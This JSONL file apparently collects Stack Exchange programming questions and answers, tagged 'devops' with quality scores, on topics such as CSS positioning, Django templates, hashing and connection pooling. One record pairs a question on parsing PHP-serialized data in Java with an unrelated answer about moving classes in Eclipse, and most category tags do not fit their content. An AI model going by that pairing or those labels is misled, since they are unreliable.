{"id": "hf_cc4eadc5adf8", "question": "<p>Here is a snippet of CSS that I need explained:</p>\n\n<pre class=\"lang-css prettyprint-override\"><code>#section {\n    width: 860px;\n    background: url(/blah.png);\n    position: absolute;\n    top: 0;\n    left: 50%;\n    margin-left: -445px;\n}\n</code></pre>\n\n<p>Ok so it's absolute positioning of an image, obviously.</p>\n\n<ol>\n<li>top is like padding from the top, right?</li>\n<li>what does left 50% do?</li>\n<li>why is the left margin at -445px? </li>\n</ol>\n\n<p><b>Update:</b>\nwidth is 860px.\nThe actual image is 100x100 if that makes a difference??</p>\n", "question_body": "", "answer": "When position is absolute, top is vertical distance from the parent (probably the body tag, so 0 is the top edge of the browser window). Left 50% is distance from the left edge. The negative margin moves it back left 445px. As to why, your guess is as good as mine.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:15.476054"}
{"id": "hf_20edfec9fbe6", "question": "<p>I have a certain page (we'll call it MyPage) that can be accessed from three different pages. In the Web.sitemap file, I tried to stuff the XML for this page under the three separate nodes like this:</p>\n\n<p>&lt; Page 1 ><br>\n  &nbsp;&nbsp;&lt; MyPage / ><br>\n  &nbsp;&nbsp;...<br>\n&lt; /Page 1 ><br><br>\n&lt; Page 2 ><br>\n  &nbsp;&nbsp;&lt; MyPage / ><br>\n  &nbsp;&nbsp;...<br>\n&lt; /Page 2 ><br><br>\n&lt; Page 3 ><br>\n  &nbsp;&nbsp;&lt; MyPage / ><br>\n  &nbsp;&nbsp;...<br>\n&lt; /Page 3 ><br></p>\n\n<p>In doing so I received the following error:</p>\n\n<p>Multiple nodes with the same URL 'Default.aspx' were found. \nXmlSiteMapProvider requires that sitemap nodes have unique URLs.</p>\n\n<p>I read online that the SiteMapNodes are stored as a dictionary internally which explains why I can't use the same URL.  In any case, I'm just looking for alternate ways to go about solving this problem.  Any suggestions would be greatly appreciated.</p>\n", "question_body": "", "answer": "That's not really the intended purpose of the Web.sitemap file.\nFrom\nMSDN Docs of the SiteMap class\n,\nFundamentally, the SiteMap\n  is a container for a hierarchical\n  collection of SiteMapNode objects.\n  However, the SiteMap does not maintain\n  the relationships between the nodes;\n  rather, it delegates this to the site\n  map providers.\nSo, to paraphrase, the web.SiteMap only describes the\nhierarchy\nof the pages, and not the relationships\nbetween\nthose pages.\nHowever, if your intention is just to have the 'MyPage\" linked from your other pages, then you don't need to have MyPage as child nodes of those other pages anyway.\nHope that helps clarify things a little.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:15.513035"}
{"id": "hf_f78b9ca4a7ca", "question": "<p>For my school work, I do a lot of switching computers (from labs to my laptop to the library).  I'd kind of like to put this code under some kind of version control.  Of course the problem is that I can't always install additional software on the computers I use.  Is there any kind of version control system that I can keep on a thumb drive?  I have a 2GB drive to put this on, but I can get a bigger one if necessary.</p>\n\n<p>The projects I'm doing aren't especially big FYI.</p>\n\n<p><strong>EDIT:</strong>  This needs to work under windows.</p>\n\n<p><strong>EDIT II:</strong>  Bazaar ended up being what I chose.  It's even better if you go with TortoiseBzr.</p>\n", "question_body": "", "answer": "The best answer for you is some sort of DVCS (popular ones being\nGit\n,\nMercurial\n,\nDarcs\n,\nBazaar\n...).  The reason is that you have a full copy of the whole repository on any machine you are using.  I haven't used these systems personally, so others will be best at recommending a DVCS with a small footprint and good cross platform compatibility.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:15.634830"}
{"id": "hf_355ceacd207d", "question": "<p>What are your best usability testing tips? \nI need quick &amp; cheap. </p>\n", "question_body": "", "answer": "You have to watch people use your application. If you work in a reasonable sized company, do some 'hallway testing'. Pull someone who is walking past your door into the room and say something like, 'Could you please run the payroll on this system for the next month? It should only take two minutes'.\nHopefully they won't have any problems and it shouldn't be too much of an imposition on the people walking past. Fix up any hiccups or smooth over any processes that are unnecessarily complex and repeat. A lot.\nAlso, make sure you know what usability is and how to achieve it. If you haven't already, check out\nThe Design of Everyday Things\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:15.735838"}
{"id": "hf_43f43b81662f", "question": "<p>What is <code>std::pair</code> for, why would I use it, and what benefits does <code>boost::compressed_pair</code> bring?</p>\n", "question_body": "", "answer": "You sometimes need to return 2 values from a function, and it's often overkill to go and create a class just for that.\nstd:pair comes in handy in those cases.\nI think boost:compressed_pair is able to optimize away the members of size 0.\nWhich is mostly useful for heavy template machinery in libraries.\nIf you do control the types directly, it's irrelevant.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:15.795218"}
{"id": "hf_f40209c14cef", "question": "<p>I have a datagridview that accepts a list(of myObject) as a datasource. I want to add a new row to the datagrid to add to the database. I get this done by getting the list... adding a blank myObject to the list and then reseting the datasource. I now want to set the focus to the second cell in the new row.</p>\n\n<p>To CLARIFY i am trying to set the focus</p>\n", "question_body": "", "answer": "In WinForms, you should be able to set the\n```\n```\nMe.dataEvidence.SelectedRows\n```\n```\nproperty to the row you want selected.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:15.843745"}
{"id": "hf_4f1217b7de0b", "question": "<p>I have an HTTP server which is in our internal network and accessible only from inside it. I would like to put another server that would listen to an HTTPS port accessible from outside, and forward the requests to that HTTP server (and send back the responses via HTTPS). I know that there are several ways to do this with some programming involved (and I myself made a temporary solution with Tomcat and a very simple servlet I wrote), but is there a way to do the same just plugging parts already made (like Apache + modules)?</p>\n", "question_body": "", "answer": "With Apache look into mod_proxy.\nApache 2.2 mod_proxy docs\nApache 2.0 mod_proxy docs", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:15.882596"}
{"id": "hf_c8e7ec6bbe5b", "question": "<p>Several Linq.Enumerable functions take an <code>IEqualityComparer&lt;T&gt;</code>. Is there a convenient wrapper class that adapts a <code>delegate(T,T)=&gt;bool</code> to implement <code>IEqualityComparer&lt;T&gt;</code>? It's easy enough to write one (if your ignore problems with defining a correct hashcode), but I'd like to know if there is an out-of-the-box solution.</p>\n\n<p>Specifically, I want to do set operations on <code>Dictionary</code>s, using only the Keys to define membership (while retaining the values according to different rules).</p>\n", "question_body": "", "answer": "I'm afraid there is no such wrapper out-of-box. However it's not hard to create one:\n```\n```\nclass Comparer<T>: IEqualityComparer<T>\n{\n    private readonly Func<T, T, bool> _comparer;\n\n    public Comparer(Func<T, T, bool> comparer)\n    {\n        if (comparer == null)\n            throw new ArgumentNullException(\"comparer\");\n\n        _comparer = comparer;\n    }\n\n    public bool Equals(T x, T y)\n    {\n        return _comparer(x, y);\n    }\n\n    public int GetHashCode(T obj)\n    {\n        return obj.ToString().ToLower().GetHashCode();\n    }\n}\n\n...\n\nFunc<int, int, bool> f = (x, y) => x == y;\nvar comparer = new Comparer<int>(f);\nConsole.WriteLine(comparer.Equals(1, 1));\nConsole.WriteLine(comparer.Equals(1, 2));\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:15.942040"}
{"id": "hf_e37df502550f", "question": "<p>Would it be using a Websphere Adaptor for SAP or webmethods or something else?? Does something else need to be considered while opting for one of these??? The final system needs to be synchronous between SAP and the WCS front end.No ques..no delays....</p>\n", "question_body": "", "answer": "I recommend a combination of the SAP Business Connector (\nhttp://service.sap.com/sbc-download\n), which provides an easy interface for receiving/sending RFC calls from/to the SAP side, and the IBM WebSphere Java library, which allows easy interaction with WebSphere. (\"webshphere.jar\", can probably be found somewhere on\nhttp://www.ibm.com/developerworks/websphere\n.)\nIn the Business Connector you can then write a \"Java Service\", which acts as a bridge between the RFC data from SAP and the WebSphere data. Should be only a couple of days development effort.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:15.969715"}
{"id": "hf_0daf19af4112", "question": "<p>What is your single favorite mocking library for Python?</p>\n", "question_body": "", "answer": "I've only used one, but I've had good results with Michael Foord's Mock:\nhttp://www.voidspace.org.uk/python/mock/\n.\nMichael's introduction says it better than I could:\nThere are already several Python mocking libraries available, so why another one?\nMost mocking libraries follow the 'record -> replay' pattern of mocking. I prefer the 'action -> assertion' pattern, which is more readable and intuitive particularly when working with the Python unittest module.\n...\nIt also provides utility functions / objects to assist with testing, particularly monkey patching.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:16.005187"}
{"id": "hf_968105cf1ee2", "question": "<p>I have a system that combines the best and worst of Java and PHP. I am trying to migrate a component that was once written in PHP into a Java One.</p>\n\n<p>Does anyone have some tips for how I can parse a PHP serialized datastructure in Java? By serialized I mean output from php's serialize function.</p>\n", "question_body": "", "answer": "I'm sorry I gave the wrong answer before. I rechecked, and it didn't do quite want you want. I did find a solution for you though, again, in 3.4.\nHighlight the class, do a copy CTRL-C or cut CTRL-X, click on the package you want the class do go into, and do a paste, CTRL-V. Eclipse will auto generate the class for you.\nConvert Member Type to Top Level doesn't quite work. Doing that will create a field of the outer class and generate a constructor that takes the outer class as a parameter.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:16.052604"}
{"id": "hf_80b10653c58d", "question": "<p>I want to use the Django template engine in my (Python) code, but I'm not building a Django-based web site.  How do I use it without having a settings.py file (and others) and having to set the DJANGO_SETTINGS_MODULE environment variable?</p>\n\n<p>If I run the following code:</p>\n\n<pre><code>&gt;&gt;&gt; import django.template\n&gt;&gt;&gt; from django.template import Template, Context\n&gt;&gt;&gt; t = Template('My name is {{ my_name }}.')\n</code></pre>\n\n<p>I get:</p>\n\n<pre><code>ImportError: Settings cannot be imported, because environment variable DJANGO_SETTINGS_MODULE is undefined.\n</code></pre>\n", "question_body": "", "answer": "Any particular reason you want to use Django's templates? Both\nJinja\nand\nGenshi\nare, in my opinion, superior.\nIf you really want to, then see the\nDjango documentation on\n```\nsettings.py\n```\n. Especially the section \"Using settings without setting\n```\nDJANGO_SETTINGS_MODULE\n```\n\". Use something like this:\n```\n```\nfrom django.conf import settings\nsettings.configure (FOO='bar') # Your settings go here\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:16.147637"}
{"id": "hf_3eeefa4c8123", "question": "<p>I've found the standard hashing function on VS2005 is painfully slow when trying to achieve high performance look ups. What are some good examples of fast and efficient hashing algorithms that should void most collisions?</p>\n", "question_body": "", "answer": "That always depends on your data-set.\nI for one had surprisingly good results by using the CRC32 of the string. Works very good with a wide range of different input sets.\nLots of good CRC32 implementations are easy to find on the net.\nEdit:\nAlmost forgot: This page has a nice hash-function shootout with performance numbers and test-data:\nhttp://smallcode.weblogs.us/\n<-- further down the page.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:16.171698"}
{"id": "hf_ed2797f6b2ed", "question": "<p>As a beginner to TDD I am trying to write a test that assumes a property has had its value changed on a PropertyGrid (C#, WinForms, .NET 3.5).</p>\n\n<p>Changing a property on an object in a property grid does not fire the event (fair enough, as it's a UI raised event, so I can see why changing the owned object may be invisible to it).</p>\n\n<p>I also had the same issue with getting an AfterSelect on a TreeView to fire when changing the SelectedNode property.</p>\n\n<p>I could have a function that my unit test can call that simulates the code a UI event would fire, but that would be cluttering up my code, and unless I make it public, I would have to write all my tests in the same project, or even class, of the objects I am testing (again, I see this as clutter). This seems ugly to me, and would suffer from maintainability problems.</p>\n\n<p>Is there a convention to do this sort of UI based unit-testing</p>\n", "question_body": "", "answer": "One option I would recommend for its simplicty is to have your UI just call a helper class or method on the firing of the event and unit test that. Make sure it (your event handler in the UI) has as little logic as possible and then from there I'm sure you'll know what to do.\nIt can be pretty difficult to reach 100% coverage in your unit tests. By difficult I mean of course inefficient. Even once you get good at something like that it will, in my opinion, probably add more complexity to your code base than your unit test would merit. If you're not sure how to get your logic segmented into a separate class or method, that's another question I would love to help with.\nI'll be interested to see what other techniques people have to work with this kind of issue.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:16.199448"}
{"id": "hf_19d2e575b2ba", "question": "<blockquote>\n<p><strong>Possible Duplicate:</strong><br />\n<a href=\"https://stackoverflow.com/questions/6457130/pre-post-increment-operator-behavior-in-c-c-java-c-sharp\">Pre &amp; post increment operator behavior in C, C++, Java, &amp; C#</a></p>\n</blockquote>\n\n<p>Here is a test case:</p>\n<pre><code>\nvoid foo(int i, int j)\n{\n   printf(\"%d %d\", i, j);\n}\n...\ntest = 0;\nfoo(test++, test);\n</code></pre>\n<p>I would expect to get a &quot;0 1&quot; output, but I get &quot;0 0&quot;\nWhat gives??</p>\n", "question_body": "", "answer": "This is an example of unspecified behavior.  The standard does\nnot\nsay what order arguments should be evaluated in. This is a compiler implementation decision.  The compiler is free to evaluate the arguments to the function in any order.\nIn this case, it looks like actually processes the arguments right to left instead of the expected left to right.\nIn general, doing side-effects in arguments is bad programming practice.\nInstead of\nfoo(test++, test);\nyou should write\nfoo(test, test+1); test++;\nIt would be semantically equivalent to what you are trying to accomplish.\nEdit:\nAs Anthony correctly points out, it is undefined to both read and modify a single variable without an intervening sequence point. So in this case, the behavior is indeed\nundefined\n.  So the compiler is free to generate whatever code it wants.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:16.286402"}
{"id": "hf_34406261efc3", "question": "<p>Is it possible to integrate SSRS reports to the webforms..an example will be enough to keep me moving. </p>\n", "question_body": "", "answer": "this is a knowledge base article which describes how to render report output to an aspx page in a particular file format.\nhttp://support.microsoft.com/kb/875447/en-us", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:16.321918"}
{"id": "hf_32011d5fb546", "question": "<p>I need to store some simple properties in a file and access them from Ruby.</p>\n\n<p>I absolutely love the .properties file format that is the standard for such things in Java (using the java.util.Properties class)... it is simple, easy to use and easy to read.</p>\n\n<p>So, is there a Ruby class somewhere that will let me load up some key value pairs from a file like that without a lot of effort?</p>\n\n<p>I don't want to use XML, so please don't suggest REXML (my purpose does not warrant the \"angle bracket tax\").</p>\n\n<p>I have considered rolling my own solution... it would probably be about 5-10 lines of code tops, but I would still rather use an existing library (if it is essentially a hash built from a file)... as that would bring it down to 1 line....</p>\n\n<hr>\n\n<p>UPDATE: It's actually a straight Ruby app, not rails, but I think YAML will do nicely (it was in the back of my mind, but I had forgotten about it... have seen but never used as of yet), thanks everyone!</p>\n", "question_body": "", "answer": "Is this for a Rails application or a Ruby one?\nReally with either you may be able to stick your properties in a yaml file and then\n```\nYAML::Load(File.open(\"file\"))\n```\nit.\nNOTE from Mike Stone:\nIt would actually be better to do:\n```\n```\nFile.open(\"file\") { |yf| YAML::load(yf) }\n```\n```\nor\n```\n```\nYAML.load_file(\"file\")\n```\n```\nas the ruby docs suggest, otherwise the file won't be closed till garbage collection, but good suggestion regardless :-)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:16.392269"}
{"id": "hf_a86c71e17966", "question": "<p>What is the maximum value of an int in ChucK?  Is there a symbolic constant for it?</p>\n", "question_body": "", "answer": "The ChucK API reference\nuses the C\n```\nint\n```\ntype, so the maximum value would depend on your local machine (2^31-1, around two billion on standard 32-bit x86). I don't see any references to retrieving limits, but if ChucK is extensible using C you could add a function that returns\n```\nMAXINT\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:16.477165"}
{"id": "hf_b7eaa82bf41a", "question": "<p>Hi i need to generate 9 digit unique account numbers. Here is my pseudocode:</p>\n\n<pre><code>function generateAccNo()\n\n    generate an account number between 100,000,000 and 999,999,999\n\n    if the account number already exists in the DB \n        call generateAccNo()    /* recursive call */\n    else\n        return new accout number\n    end if\n\nend function\n</code></pre>\n\n<p>The function seems to be working well, however I am a bit worried about the recursive call. </p>\n\n<p>Will this cause any memory leaks (PHP 5 under apache)?</p>\n\n<p>Is this an acceptable way to tackle this problem?</p>\n\n<p>Thanks for your input.</p>\n", "question_body": "", "answer": "You realize this could very well cause a stack overflow, right? As the number of customesr increases, the probability of not finding a an acceptable account number increases.\nAlso, why can't you just do sequential account numbers and just increase by one every time? With this approach, you'd just have to read the max id currently in the database and just increment it.\nSorry to be so blunt, but your solution is a terrible way to tackle the problem. It'll use tons of memory (as the stack possibly grows infinitely) and it will makes tons of expensive calls to the database.\nYou should really consider some other approach:\nI strongly recommend just incrementing the customer number every time you create a customer. In fact, if you set up your db properly (with auto increment on the id column), you won't even have to set the id. The id will be set for you whenever you insert a new customer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:16.525538"}
{"id": "hf_be6b2e1e6576", "question": "<pre><code>uint color; \nbool parsedhex = uint.TryParse(TextBox1.Text, out color); \n//where Text is of the form 0xFF0000\nif(parsedhex)\n   //...\n</code></pre>\n\n<p>doesn't work. What am i doing wrong?</p>\n", "question_body": "", "answer": "Try\n```\n```\nConvert.ToUInt32(hex, 16)  //Using ToUInt32 not ToUInt64, as per OP comment\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:16.561954"}
{"id": "hf_4a07c0e059c6", "question": "<p>I'm looking for an extremely fast atof() implementation on IA32 optimized for US-en locale, ASCII, and non-scientific notation.  The windows multithreaded CRT falls down miserably here as it checks for locale changes on every call to isdigit().  Our current best is derived from the best of perl + tcl's atof implementation, and outperforms msvcrt.dll's atof by an order of magnitude.  I want to do better, but am out of ideas.  The BCD related x86 instructions seemed promising, but I couldn't get it to outperform the perl/tcl C code.  Can any SO'ers dig up a link to the best out there?  Non x86 assembly based solutions are also welcome.</p>\n\n<p>Clarifications based upon initial answers:</p>\n\n<p>Inaccuracies of ~2 ulp are fine for this application.<br>\nThe numbers to be converted will arrive in ascii messages over the network in small batches and our application needs to convert them in the lowest latency possible.</p>\n", "question_body": "", "answer": "I remember we had a Winforms application that performed so slowly while parsing some data interchange files, and we all thought it was the db server thrashing, but our smart boss actually found out that the bottleneck was in the call that was converting the parsed strings into decimals!\nThe simplest is to loop for each digit (character) in the string, keep a running total, multiply the total by 10 then add the value of the next digit. Keep on doing this until you reach the end of the string or you encounter a dot. If you encounter a dot, separate the whole number part from the fractional part, then have a multiplier that divides itself by 10 for each digit. Keep on adding them up as you go.\nExample: 123.456\nrunning total = 0, add 1 (now it's 1)\nrunning total = 1 * 10 = 10, add 2 (now it's 12)\nrunning total = 12 * 10 = 120, add 3 (now it's 123)\nencountered a dot, prepare for fractional part\nmultiplier = 0.1, multiply by 4, get 0.4, add to running total, makes 123.4\nmultiplier = 0.1 / 10 = 0.01, multiply by 5, get 0.05, add to running total, makes 123.45\nmultipiler = 0.01 / 10 = 0.001, multiply by 6, get 0.006, add to running total, makes 123.456\nOf course, testing for a number's correctness as well as negative numbers will make it more complicated. But if you can \"assume\" that the input is correct, you can make the code much simpler and faster.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:16.588686"}
{"id": "hf_dc8d1b367346", "question": "<p>By default, Eclipse won't show my .htaccess file that I maintain in my project.  It just shows an empty folder in the Package Viewer tree.  How can I get it to show up?  No obvious preferences.</p>\n", "question_body": "", "answer": "In your package explorer, pull down the menu and select \"Filters ...\".  You can adjust what types of files are shown/hidden there.\nLooking at my Red Hat Developer Studio (approximately Eclipse 3.2), I see that the top item in the list is \".* resources\" and it is excluded by default.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:16.641759"}
{"id": "hf_d05414175724", "question": "<p>This is a really weird problem that I have been having. When I download <em>Scriptaculous</em> from the official web site, <a href=\"http://script.aculo.us\" rel=\"nofollow noreferrer\" title=\"script.aculo.us\">script.aculo.us</a>, bundled in the ZIP is <em>prototype.js</em> version 1.6.0.1. This works perfectly fine, I can follow along the wiki examples and begin learning. However, when I upgrade to prototype 1.6.0.2 (the latest version) from <a href=\"http://www.prototypejs.org/\" rel=\"nofollow noreferrer\" title=\"Prototype JS\">prototypejs.org</a>  everything breaks. I have read the documentation, named the new file <em>prototype.js</em> and nothing works. Any help is greatly appreciated!\n­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­</p>\n", "question_body": "", "answer": "scriptaculous is a JS library built on top of prototype. As such, they will be behind prototype in their release schedule. To ensure that scriptaculous works only use it with the prototype file that came in the download.\nSure, given enough time and energy, you can find all the changed references from prototype 1.6.0.1 to 1.6.0.2 but is there really something in the newer version of prototype that you need today?  If not, then just wait for the scripaculous to update.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:16.737031"}
{"id": "hf_2af0469b379f", "question": "<p>I have developed some custom DAO-like classes to meet some very specialized requirements for my project that is a server-side process that does not run inside any kind of framework.  </p>\n\n<p>The solution works great except that every time a new request is made, I open a new connection via MySQLdb.connect.  </p>\n\n<p>What is the best \"drop in\" solution to switch this over to using connection pooling in python?  I am imagining something like the commons DBCP solution for Java.  </p>\n\n<p>The process is long running and has many threads that need to make requests, but not all at the same time... specifically they do quite a lot of work before brief bursts of writing out a chunk of their results.</p>\n\n<p>Edited to add:\nAfter some more searching I found <a href=\"http://furius.ca/antiorm/\" rel=\"noreferrer\">anitpool.py</a> which looks decent, but as I'm relatively new to python I guess I just want to make sure I'm not missing a more obvious/more idiomatic/better solution.  </p>\n", "question_body": "", "answer": "Wrap your connection class.\nSet a limit on how many connections you make.\nReturn an unused connection.\nIntercept close to free the connection.\nUpdate:\nI put something like this in dbpool.py:\n```\n```\nimport sqlalchemy.pool as pool\nimport MySQLdb as mysql\nmysql = pool.manage(mysql)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:16.760785"}
{"id": "hf_c6f525798f10", "question": "<p>First of all, I don't need a textual comparison so Beyond Compare doesn't do what I need.</p>\n\n<p>I'm looking for a util that can report on the differences between two files, at the byte level.  Bare minimum is the need to see the percentage change in the file, or a report on affected bytes/sectors.  </p>\n\n<p>Is there anything available to save me the trouble of doing this myself?</p>\n", "question_body": "", "answer": "I guess it depends on what exactly is contained in the file, but here's a quick one:\n```\n```\nhexdump file1 > file1.tmp\nhexdump file2 > file2.tmp\ndiff file1.tmp file2.tmp\n```\n```\nSince 16 bytes are typically reported on each line, this won't technically give you a count of the bytes changed, but will give you a rough idea where in the file changes have occurred.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:16.783303"}
{"id": "hf_f27098c525c5", "question": "<p>What principles do you generally follow when doing class design?</p>\n", "question_body": "", "answer": "Principles Of Object Oriented Class Design (the \"SOLID\" principles)\nSRP:  The Single Responsibility\nPrinciple\nA class should have one,\nand only one, reason to change.\nOCP:  The Open Closed Principle\nYou\nshould be able to extend a classes\nbehavior, without modifying it.\nLSP:  The Liskov Substitution\nPrinciple\nDerived classes must be\nsubstitutable for their base\nclasses.\nISP:  The Interface Segregation\nPrinciple\nMake fine grained\ninterfaces that are client specific.\nDIP:  The Dependency\nInversion Principle\nDepend on\nabstractions, not on concretions.\nSource:\nhttp://butunclebob.com/ArticleS.UncleBob.PrinciplesOfOod\nVideo (Uncle Bob):\nClean Coding By Robert C. Martin ( Uncle Bob )", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:16.805430"}
{"id": "hf_2c1175a73bb2", "question": "<p>I'm working on a music writing application and would like to add the functionality to import Finale music files.  Right now, the only thing I know is that they are enigma binary files.  </p>\n\n<p>Does anyone have any suggestions on where I could start so that I could be able to parse through these types of files?</p>\n", "question_body": "", "answer": "Get a\ngood\nhex editor and start looking inside some files. Look for common structure. Do some detective work. Look for fields that might be counts, sizes or offsets within the file. Make trivial changes in Finale and observe the changes in the file. Make changes with the hex editor, then load the changed file back into Finale and see if the change does what you thought it would.\nSo this is a completely unhelpful answer, but the best way to reverse the file-format is to jump in and just do it. You're probably in for a very long process BTW, but at least it's fun.\nOh, and pray the file-format isn't compressed...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:16.841710"}
{"id": "hf_9d6a2155c62c", "question": "<p>Should entities have behavior? or not?</p>\n\n<p>Why or why not?</p>\n\n<p>If not, does that violate Encapsulation?</p>\n", "question_body": "", "answer": "If you're strictly following MVC, your model (entities) won't have any inherent behavior.  I do however include whatever helper methods allow the easiest management of the entities persistence, including methods that help with maintaining its relationship to other entities.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:16.864129"}
